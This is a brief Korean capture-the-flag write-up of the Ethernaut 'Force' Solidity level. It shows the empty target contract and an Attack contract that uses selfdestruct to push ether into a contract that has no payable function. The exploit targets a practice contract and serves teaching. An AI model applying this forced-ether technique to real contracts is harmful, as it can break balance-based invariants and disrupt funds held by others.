// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
우리 mission은 balance를 0보다 크게 만들라는 뜻이다.
그런데 abi도 없고 직접 접근을 할 수가 없다....
흐음... 구글링을 해보니까 selfdestruct() 함수가 있었다.
selfdestruct(address _address) 함수는 Contract를 제거하고, 이더리움에서 bytecode를 제거하고 _address로 balance를 보내는 키워드이다.
contract Attack{
Force force;
constructor(address _address){
force = Force(_address);
}
function attack() public payable {
selfdestruct(payable(address(force)));
}
}